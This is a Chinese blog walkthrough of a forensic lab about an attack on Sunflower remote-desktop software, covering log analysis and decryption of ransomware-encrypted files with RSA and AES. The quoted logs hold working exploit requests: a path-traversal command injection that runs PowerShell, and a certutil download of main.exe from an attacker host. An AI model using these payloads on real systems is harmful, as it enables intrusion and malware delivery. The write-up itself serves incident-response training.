首页 > 系统相关 >玄机——第四章 windows实战-向日葵 wp

玄机——第四章 windows实战-向日葵 wp

时间:2024-07-11 18:30:28浏览次数:14  
标签:HTTP windows IP ..% 192.168 2F 黑客 向日葵 wp

文章目录

一、前言

题目链接:第四章 windows实战-向日葵

三连私信免费送玄机注册邀请码私信!!!看见就回!!注意私信!!

简单介绍一下向日葵;

向日葵远程连接软件是一款专为远程控制、远程管理和远程协助而设计的工具,适用于个人用户和企业用户。

功能特点

  1. 远程桌面控制

    • 允许用户通过网络远程控制另一台计算机的桌面,就像操作本地计算机一样。
    • 支持多屏显示、屏幕录像、键盘鼠标控制等功能。
  2. 远程文件管理

    • 用户可以在远程计算机之间传输文件,进行文件的上传、下载、删除、重命名等操作。
    • 提供文件夹同步功能,实现两台设备之间的文件自动同步。
  3. 远程摄像头监控

    • 可以通过远程查看连接到远程计算机的摄像头,实现远程监控功能。
    • 支持实时视频传输,查看监控画面。
  4. 远程开关机

    • 支持通过网络远程启动或关闭计算机,方便进行远程管理。
    • 可以设定定时开关机任务,实现自动化管理。
  5. 远程协助

    • 用户可以通过向日葵软件向他人提供远程技术支持和帮助。
    • 支持多人协作,共享屏幕,进行在线会议和培训。
  6. 跨平台支持

    • 向日葵支持多种操作系统,包括Windows、macOS、Linux、Android和iOS。
    • 用户可以通过不同设备进行远程连接和管理。

二、概览

简介

第四章 windows实战
Administrator xj@123456

题目;

1、通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为 为多少,将黑客首次攻击成功的时间为 作为 FLAG 提交(2028-03-26 08:11:25.123);
2、通过本地 PC RDP到服务器并且找到黑客攻击的 IP 为多少,将黑客攻击 IP 作为 FLAG 提交;
3、通过本地 PC RDP到服务器并且找到黑客托管恶意程序 IP 为,将黑客托管恶意程序 IP 作为 FLAG 提交;
4、找到黑客解密 DEC 文件,将黑客DEC 文件的 md5 作为 FLAG 提交;
5、通过本地 PC RDP到服务器并且解密黑客勒索软件,将桌面加密文件中关键信息作为 FLAG 提交;

三、参考文章

玄机——第四章 windows实战-向日葵

四、步骤(解析)

准备步骤#1.0

这里的靶机环境是windows,所以正常的我们使用远程桌面连接即可;

这里推荐大家使用“Microsoft“自带的远程桌面连接即可即可;(有一些笔记本/电脑是不自带的,不过已为大家准备好安装包)

123网盘下载;

https://www.123pan.com/s/q2J1jv-r8avd.html
提取码:0905

安装完成,进入主页,点击右上角“添加”–>“电脑”,接着启动靶机,输入靶机IP,点击“保存”,返回主页,点击连接,最后输入账号密码即可;

输入靶机IP,点击保存,返回主页;

在这里插入图片描述

输入账号密码,点击连接即可;

Administrator
xj@123456

在这里插入图片描述

最后连接成功;

在这里插入图片描述

步骤#1.1
通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为 为多少,将黑客首次攻击成功的时间为 作为 FLAG 提交(2028-03-26 08:11:25.123);

解题思路

题目让我们提交黑客首次攻击成功的时间,那这题既然主要的是“向日葵”,而且桌面也有个“向日葵”,那肯定就是查日志分析了,那这里我们直接右键“向日葵”,接着打开文件位置就可以发现“log”目录,最后继续分析即可;

右键“打开文件所在位置”;

在这里插入图片描述

发现“log”目录,跟进分析;

在这里插入图片描述

那题目既然说是首次成功攻击,那肯定就从日志最早的时间查看分析起,如果这个日志没有发现,那就以此类推继续往下分析;

在这里插入图片描述

那打开日志,我们就主要分析以下特征,从而缩小范围进行查找;

特征

  1. 异常登录记录

    • 登录记录从未知或可疑IP地址。
    • 非常规时间段内的登录行为。
  2. 频繁连接请求

    • 短时间内的多次连接尝试,尤其是从相同IP地址。
  3. 失败登录尝试

    • 多次失败登录尝试,可能表示暴力破解尝试。
  4. 新设备注册

    • 是否有新设备绑定到你的向日葵账户。
  5. 高频操作记录

    • 短时间内的高频率操作记录。

那就主要根据这几个特征分析呗,日志往下翻一点就发现了关键点;

在这里插入图片描述

简单分析一下这里;

这里的日志记录,可以看出确实是黑客的在进行攻击尝试。这些日志显示了多个HTTP连接尝试,每个连接尝试都有不同的路径和参数,这些路径和参数是漏洞利用或恶意扫描。

  1. 多个新连接

日志显示在同一时间段内,多个新连接尝试从同一IP地址(192.168.31.45)到目标IP地址(192.168.31.114),如下所示:

2024-03-21 19:54:56.229	- Info  -	[service][TcpAcceptor] new acceptor 192.168.31.45:58540-->192.168.31.114:49724
2024-03-21 19:54:56.244	- Info  -	[service][TcpAcceptor] new acceptor 192.168.31.45:58542-->192.168.31.114:49724
2024-03-21 19:54:56.244	- Info  -	[service][TcpAcceptor] new acceptor 192.168.31.45:58543-->192.168.31.114:49724
2024-03-21 19:54:56.245	- Info  -	[service][TcpAcceptor] new acceptor 192.168.31.45:58544-->192.168.31.114:49724
  1. 可疑的HTTP路径和参数

每个连接尝试的路径和参数都显示了对特定资源的访问,这些资源路径和参数是已知漏洞利用的路径。例如:

  • /pages/createpage-entervariables.action?SpaceKey=x

    • 这个路径是在尝试利用了"CVE-2021-26084(Confluence)"漏洞,Confluence Server Webwork OGNL 注入漏洞(CVE-2021-26084),远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下,可构造OGNL表达式进行注入,实现在 Confluence Server或Data Center上执行任意代码。
  • /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en

    • 这个路径使用了路径遍历和null字节(%00)尝试访问服务器上的敏感文件。是“CVE-2010-2861(Adobe ColdFusion 文件读取漏洞)”,Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞,可导致未授权的用户读取服务器任意文件。
  • /mailsms/s?func=ADMIN:appState&dumpConfig=/

    • 这个路径是在尝试访问某个管理功能或配置转储,这也是一种常见的攻击手法。参照“Coremail-0day敏感文件泄露漏洞送附批量检测脚本”,由于Coremail邮件系统的mailsms模块的参数大小写敏感存在缺陷,使得攻击者利用该漏洞,在未授权的情况下,通过远程访问URL地址获知Coremail服务器的系统配置文件,造成数据库连接参数等系统敏感配置信息泄露。

总结;

从这些日志记录中可以发现黑客利用了许多漏洞,这是一次次攻击尝试;

  1. 同一IP地址的多个连接尝试

    • 同一时间段内从192.168.31.45发起了多个连接,显示了明显的扫描或攻击行为。
  2. 可疑的HTTP路径和参数

    • 路径和参数显示了对系统特定资源的访问尝试,并且这些资源通常涉及漏洞利用(如路径遍历、配置文件读取等)。

所以开头这里的日志并没有发现黑客攻击成功,只是发现了黑客尝试利用各种漏洞进行攻击,那我们就继续往下分析,也是在日志的最底下发现了信息;

在这里插入图片描述

简单分析一下这里;

日志主要记录;

2024-03-26 10:16:25.570	- Info  -	[Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64246, path: /cgi-bin/rpc?action=verify-haras, version: HTTP/1.1
2024-03-26 10:16:25.570	- Info  -	[Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64246,/cgi-bin/rpc?action=verify-haras, plugin:cgi-bin, session:
2024-03-26 10:16:25.585	- Info  -	[service][TcpAcceptor] new acceptor 192.168.31.45:64247-->192.168.31.114:49724
2024-03-26 10:16:25.585	- Info  -	[Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64247, path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami, version: HTTP/1.1
2024-03-26 10:16:25.585	- Info  -	[Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64247,/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami, plugin:check, session:dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3
2024-03-26 10:17:01.060	- Info  -	[service][TcpAcceptor] new acceptor 192.168.31.45:64284-->192.168.31.114:49724
2024-03-26 10:17:01.060	- Info  -	[Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64284, path: /cgi-bin/rpc?action=verify-haras, version: HTTP/1.1
2024-03-26 10:17:01.060	- Info  -	[Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64284,/cgi-bin/rpc?action=verify-haras, plugin:cgi-bin, session:
2024-03-26 10:17:01.075	- Info  -	[service][TcpAcceptor] new acceptor 192.168.31.45:64285-->192.168.31.114:49724
2024-03-26 10:17:01.075	- Info  -	[Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64285, path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+pwd, version: HTTP/1.1
2024-03-26 10:17:01.075	- Info  -	[Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64285,/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+pwd, plugin:check, session:DTOAQFngEPZBDNNp5QLOYftzErN7RBCA
2024-03-26 10:17:20.423	- Info  -	[localserver] Not use proxy

分析

  1. 请求路径和命令:
    • /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami
    • /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+pwd

这些路径和命令表明黑客正在尝试通过路径遍历攻击来访问并执行PowerShell命令,这些命令的目的是验证是否能够成功执行系统命令。whoami命令用于查看当前执行命令的用户,pwd命令用于查看当前工作目录。

  • HTTP连接建立:

    • 日志中多次记录了从攻击者IP(192.168.31.45)到目标IP(192.168.31.114)的HTTP连接,表明攻击者正在反复尝试连接和执行命令。
  • 攻击成功的迹象:

    • 虽然日志中没有显示命令的具体返回结果,但多次的连接请求和特定路径命令的使用表明攻击者在测试和确认命令执行的有效性。尤其是执行whoamipwd命令,这通常是攻击者在初步获取访问权限后进行的操作,以确认他们的权限级别和工作目录。

总结;

日志记录表明,攻击者在2024年3月26日10:16:25通过路径遍历和命令注入成功执行了PowerShell命令。虽然没有具体的返回结果,但结合上下文,以下是关键点:

  1. 路径遍历攻击成功:攻击者通过路径遍历攻击成功访问并执行了系统命令。
  2. 权限确认:执行whoamipwd命令表明攻击者正在确认其访问权限和工作目录,通常在获取成功的初步权限后进行。

题目让我们提交黑客首次攻击成功的具体时间,提交格式:flag{2028-03-26 08:11:25.123};

至此;

flag{2024-03-26 10:16:25.585}
步骤#1.2
通过本地 PC RDP到服务器并且找到黑客攻击的 IP 为多少,将黑客攻击 IP 作为 FLAG 提交;

解题思路

题目让我们提交黑客攻击的IP,我觉得这题应该放第一小题,题一我们黑客首次成功时间都找到了,那就顺便看看日志记录的IP即可,这题没啥好说的;

得到;

在这里插入图片描述

清一色的IP,直接提交即可;

flag{192.168.31.45}
步骤#1.3
通过本地 PC RDP到服务器并且找到黑客托管恶意程序 IP 为,将黑客托管恶意程序 IP 作为 FLAG 提交;

解题思路

题目让我们提交黑客托管的恶意程序IP,那我们还是继续在日志里面寻找一下特定的特征;

特征;

  • 异常的外部连接

    • 查找日志中所有与外部IP的连接记录,尤其是那些与已知可信IP不同的连接。
  • 不常见的端口号

    • 检查使用不常见端口号的连接,因为黑客通常使用非标准端口来隐藏他们的活动。
  • 频繁的重复连接

    • 关注短时间内频繁连接的IP地址,这可能表明尝试持续的攻击或数据传输。
  • 可疑的请求路径

    • 检查请求路径中包含敏感操作或看起来不正常的路径。
  • 分析日志格式

    • 确定日志中的外部连接记录格式,如连接源IP和目标IP的格式。

刚刚好,接着上题往下翻一点就发现了关键;

得到;

在这里插入图片描述

简单分析一下;

首先可以确认的是,这里的日志条目就显示了黑客从外部服务器下载并执行恶意程序的过程。

逐步分析;

1、新连接建立

2024-03-26 10:31:07.538 - Info - [service][TcpAcceptor] new acceptor 192.168.31.45:49328-->192.168.31.114:49724
  • 说明:从IP 192.168.31.45 发起了到IP 192.168.31.114 的新连接。
  • 端口号:源端口49328,目标端口49724。

2、HTTP连接建立

2024-03-26 10:31:07.538 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:49328, path: /cgi-bin/rpc?action=verify-haras, version: HTTP/1.1
  • 说明:通过HTTP协议建立连接,访问路径为/cgi-bin/rpc?action=verify-haras
  • 插件:cgi-bin。
  • 会话:无。

3、新连接建立

2024-03-26 10:31:07.576 - Info - [service][TcpAcceptor] new acceptor 192.168.31.45:49329-->192.168.31.114:49724
  • 说明:从IP 192.168.31.45 发起了到IP 192.168.31.114 的另一新连接。
  • 端口号:源端口49329,目标端口49724。

4、HTTP连接建立并执行命令

2024-03-26 10:31:07.576 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:49329, path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+certutil+-urlcache+-split+-f+http%3A%2F%2F192.168.31.249%2Fmain.exe, version: HTTP/1.1
  • 说明:通过HTTP协议建立连接,并执行命令/check?cmd=ping....windows/system32/WindowsPowerShell/v1.0/powershell.exe certutil -urlcache -split -f http://192.168.31.249/main.exe
  • 插件:check。
  • 会话:sobGzXzWBfSlSbdqnmkUbJMLEjhssRx1。

主要关键点;

  • 恶意活动指示

    • 路径遍历/check?cmd=ping.... 是一种路径遍历尝试,试图访问系统中的powershell.exe
    • 命令执行:使用 certutil 工具下载文件 main.exe
    • 外部IP:下载源 http://192.168.31.249/main.exe 指向一个可能托管恶意程序的外部服务器。
  • 恶意程序下载

    • 工具使用certutil 是一个合法的Windows工具,但在这里被用于下载恶意文件,这是一个常见的攻击模式。
    • 下载目标:目标文件 main.exe 可能是恶意程序。

总结;

这些日志条目显示了黑客尝试利用路径遍历和命令注入漏洞,通过 certutil 从外部服务器(192.168.31.249)下载并执行恶意程序 main.exe。这表明黑客的攻击成功了,且试图在目标系统上下载并运行恶意软件。

题目让我们提交黑客托管恶意程序 IP;

至此;

flag{192.168.31.249}
步骤#1.4
找到黑客解密 DEC 文件,将黑客DEC 文件的 md5 作为 FLAG 提交;

解题思路

题目让我们提交黑客解密的DEC文件的MD5,那我们先在日志里尝试搜索一下文件名“DES”,看看有没有被定位到路径,但是发现没有这个文件,但是在差不多日志最底下发现了一个txt,那个txt里的内容是一个QQ号,抱着尝试的心情加了一下,最后在该群的“群文件”中发现了“DES”;(事后发现这是该平台的官方QQ群“玄机”)

未查到到文件“DEC”;

在这里插入图片描述

在日志最底下发现了TXT记录;

在这里插入图片描述

搜索QQ号,发现玄机官方群聊;(647224830)

在这里插入图片描述

加入该群,在群文件中发现了题目所说的"DEC"文件,但是提交格式为MD5,所以下载该文件进行MD5加密;

在这里插入图片描述

这里把文件进行MD5加密方法不唯一,这里暂且举两个例子,也就我们常用的两种,liunx以及window;

window中文件进行MD5加密;

这里的“DEC”文件,注意输入具体路径(或者在同一目录下唤起PowerShell);

命令;

 certutil -hashfile .\DEC.pem MD5

得到;

在这里插入图片描述

Liunx中文件进行MD5加密;

命令;

md5sum DEC.pem 

得到;

在这里插入图片描述

至此;

flag{5ad8d202f80202f6d31e077fc9b0fc6b}
步骤#1.5
通过本地 PC RDP到服务器并且解密黑客勒索软件,将桌面加密文件中关键信息作为 FLAG 提交;

解题思路

题目让我们解密桌面的文件将其中的flag进行提交,桌面确实有两个文件,我们简单分析一下;

两个文件;

在这里插入图片描述

右键记事本打开;

baoleiji.txt;

得到;

在这里插入图片描述

desktop.ini;

得到;

在这里插入图片描述

嘶,这两个文件让我想起了久违的老朋友“RSA”,结合上题得到的“DEC.pem”,那就正常RSA解密呗;

DEC.pem;

在这里插入图片描述

随便找一个RSA在线解密即可;

RSA在线解密

解密得到:NXVJSTQUAPGTXKSX

在这里插入图片描述

接着进行AES解密,随便找一个在线的即可;

AES在线解密

解密得到flag,iv偏移量是16个0;

在这里插入图片描述

得到;

@suanve
时间是连续的,年份只是人类虚构出来用于统计的单位,2024年第一天和2023年最后一天,
不会有任何本质区别。你的花呗,你的客户,你的体检报告,窗外的寒风,都不会因为这是新的一年,
而停下对你的毒打。
GIVE YOU FLAG!!!!!
flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}

至此;(友情提示:因为是RSA,所以每个人的附件不一样噢,要自己操作一遍才能得到自己的flag,提交正确噢~)

flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}
拓展1.1

做兜做了,那还剩最后还有一个desktop.ini;(我们也解密一下吧)

解密得到:KBFKKYZKCBBUZKEC

在这里插入图片描述

AES解密;

在这里插入图片描述

最后;


[.ShellClassInfo]
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21769
IconResource=%SystemRoot%\system32\imageres.dll,-183

简单分析一下;

这个是 desktop.ini 的配置文件的内容。desktop.ini 文件用于自定义 Windows 文件夹的显示属性。这段内容主要用于更改文件夹的图标和名称显示。以下是详细分析:

  1. [.ShellClassInfo]:

    • 这是一个节标识符,表明接下来的内容属于 .ShellClassInfo 节。
  2. LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-21769:

    • LocalizedResourceName:此参数用于指定文件夹的本地化名称。
    • @%SystemRoot%\system32\shell32.dll,-21769:指定从 shell32.dll 文件中提取资源字符串。%SystemRoot% 是一个环境变量,通常指向 C:\Windows 目录。-21769 是资源 ID,指向 shell32.dll 中的一个字符串资源,用于命名文件夹。
  3. IconResource=%SystemRoot%\system32\imageres.dll,-183:

    • IconResource:此参数用于指定文件夹的图标。
    • %SystemRoot%\system32\imageres.dll,-183:指定从 imageres.dll 文件中提取图标资源。-183 是资源 ID,指向 imageres.dll 中的一个图标资源,用于更改文件夹的图标。

作用

  • 文件夹名称:使用 shell32.dll 中的资源字符串来显示文件夹的本地化名称,这通常用于系统文件夹,以确保它们在不同语言的操作系统中显示正确的名称。
  • 文件夹图标:使用 imageres.dll 中的资源图标来设置文件夹的图标,这通常用于系统文件夹或特定应用程序的文件夹,以提供统一和直观的图标显示。

示例

假设这个 desktop.ini 文件位于某个文件夹中,那么:

  • 文件夹的显示名称将从 shell32.dll 中提取,显示为 -21769 资源 ID 对应的字符串(这可能是一个特定语言的名称)。
  • 文件夹的图标将从 imageres.dll 中提取,显示为 -183 资源 ID 对应的图标。

总结

这段 desktop.ini 配置文件内容用于更改文件夹的显示名称和图标,提供更好的用户界面体验,尤其在系统和应用程序文件夹中常见。这些自定义设置通过引用系统 DLL 文件中的资源字符串和图标来实现。

标签:HTTP,windows,IP,..%,192.168,2F,黑客,向日葵,wp
From: https://blog.csdn.net/administratorlws/article/details/140358847

相关文章

  • AutoHotKey自动热键(五)添加WINDOWS秘笈指令-输入瞬间启动功能
    在AUTOHOTKEY的使用中,不仅仅可以监听组合热键,还可以监听正常文本击键录入,这是另一种监听方式,比如依次击键jsq之后直接弹出<计算器>工具,或者依次击键sj之后直接输出135****5564的手机号码,等等,这就是autohotkey的录入击键监听,以双冒号为开头::因这种录入监听像极了......
  • windows安装Docker Desktop及国内镜像
    简介Docker是一个开源的应用容器引擎,它让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化。通过Docker工具,简化了应用的部署、配置和管理过程,提高了开发效率和应用的可靠性、可移植性和可扩展性。DockerDeskto......
  • Windows 桌面改造小技巧 · 一键去除快捷方式小箭头和小盾牌
    Windows的桌面上,总会有一些不如意的小地方,比如快捷方式上的小箭头和小盾牌图标:标志挡住了应用图标,显得很难受这些角标作用如下:快捷方式角标是用来提示你这是一个快捷方式的,其实这个角标还好,可以保留小盾牌,如果开启UAC的话,有盾牌就表示这个应用会触发这个安全保护,其作用并......
  • Office mac苹果及windows版安装包百度云盘分享下载
    不管是工作党,还是学生,或多或少,都有用到办公软件。诸如Word、Excel、PowerPoint等常用的办公组件,不仅能给我们的工作带来便利性,还能大大提高我们的工作效率。在诸多办公软件中,MicrosoftOffice又是使用最多最广的一款。相对来说,office的兼容性是比较好的。不仅支持WindowsXP,还......
  • Windows+Python配置和使用labelme打标工具(语义分割)
    Labelme是一个开源的图像标注工具麻省理工学院的计算机科学和人工智能实验室(CSAIL)开发。它主要用于创建计算机视觉和机器学习应用所需的标记数据集。LabelMe让用户可以在图片上标注对象和区域,为机器学习模型提供训练数据。它支持多种标注类型,如矩形框、多边形和线条等。它是用Py......
  • WPF/C#:在WPF中如何实现依赖注入
    前言本文通过WPFGallery这个项目学习依赖注入的相关概念与如何在WPF中进行依赖注入。什么是依赖注入依赖注入(DependencyInjection,简称DI)是一种设计模式,用于实现控制反转(InversionofControl,简称IoC)原则。依赖注入的主要目的是将对象的创建和对象之间的依赖关系的管......
  • WPF 动态加载嵌入主程序的DLL
    WPF动态加载嵌入主程序的DLL,好处是节省文件数量,坏处是启动影响加载速度。首先将DLL添加进项目,选择添加现有项,设置生成操作为“嵌入资源”。代码:publicApp(){AppDomain.CurrentDomain.AssemblyResolve+=CurrentDomain_AssemblyResolve;......
  • WPF ContextMenu MVVM Command CommandParameter Path=PlacementTarget
    <DataGridItemsSource="{BindingBooksList,Mode=TwoWay,UpdateSourceTrigger=PropertyChanged}"SelectionMode="Extended"><DataGrid.ContextMenu><ContextMenu><MenuItemHeader="Ex......
  • Windows11使用子系统Ubuntu20.04配置图形化界面和安装软件
    前言        在上一章节,我们在windows11下利用wsl2安装了Ubuntu-linux子系统,并下载了android10的源码进行编译(Ubuntu运行环境下Android10源码下载和编译_ubuntu18下载android10源码-CSDN博客)。如果想进行android源码以及framework的学习,一定需要代码编辑软件,我之前学......
  • windows系统服务配置详解,以及开发好的windows服务怎么部署上去
    一、配置服务1、WIN+R打开运行窗口,输入cmd2、输入sccreateServerNamebinpath="E:\myTest.exe"等号后有空格sccreateServerNamebinpath="E:\myTest.exe"如此这般,就讲ServerName加入到了服务当中3、启动服务scstartServerNamescstartServerName4、WIN+R......